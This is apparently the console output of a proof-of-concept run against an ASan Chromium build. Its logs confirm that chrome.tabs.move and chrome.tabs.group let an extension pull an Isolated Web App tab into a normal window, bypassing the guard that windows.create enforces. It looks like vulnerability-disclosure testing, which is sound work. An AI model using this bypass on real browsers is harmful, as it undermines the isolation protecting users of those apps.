[runner] launching /chromium/chromium/src/out/asan/chrome
[runner] waiting for IWA install ...
[runner] IWA origin: isolated-app://d4x4cbaps5b7oloe35sa5oxd5rfg4giv7z6fbfaf3vfg7teld27aaaac

================ POC RESULT ================
{
  "iwa_found": true,
  "iwa_app_window_opened": true,
  "control_windows_create_rejected": true,
  "control_error_message": "The tab of an Isolated Web App cannot be moved to a new window.",
  "bypass_tabs_move_succeeded": true,
  "bypass_tabs_group_succeeded": true,
  "iwa_tab_now_in_normal_window": true,
  "iwa_app_window_closed": true,
  "log": [
    "IWA installed: isolated-app://d4x4cbaps5b7oloe35sa5oxd5rfg4giv7z6fbfaf3vfg7teld27aaaac",
    "windows.create({url:<iwa>}) returned window id=1104825500 type=app",
    "IWA app window: windowId=1104825500 type=app tabId=1104825501 url=isolated-app://d4x4cbaps5b7oloe35sa5oxd5rfg4giv7z6fbfaf3vfg7teld27aaaac/index.html",
    "Normal window: id=1104825498 type=normal",
    "OK (control): windows.create({tabId:iwa}) rejected: \"The tab of an Isolated Web App cannot be moved to a new window.\"",
    "BYPASS: tabs.move(iwa -> normal) SUCCEEDED. New windowId=1104825498 index=1",
    "After move: tabId=1104825501 windowId=1104825498 (normal=1104825498) url=isolated-app://d4x4cbaps5b7oloe35sa5oxd5rfg4giv7z6fbfaf3vfg7teld27aaaac/index.html",
    "Original IWA app window 1104825500 has closed (zero tabs).",
    "Second IWA app window: windowId=1104825503 tabId=1104825504",
    "BYPASS: tabs.group(iwa -> normal) SUCCEEDED. groupId=555219355",
    "=== VULNERABILITY CONFIRMED: tabs.move bypasses the IWA-window guard that windows.create enforces. ==="
  ],
  "verdict": "VULNERABLE"
}

>>> VULNERABILITY CONFIRMED: chrome.tabs.move detached an IWA tab
>>> from its app window into a TYPE_NORMAL window, bypassing the
>>> kWindowCreateCannotMoveIwaTabError guard that windows.create has.
============================================
./run.sh: line 12:  5387 Killed                  python3 "$HERE/server.py" 2> "$HERE/server.log"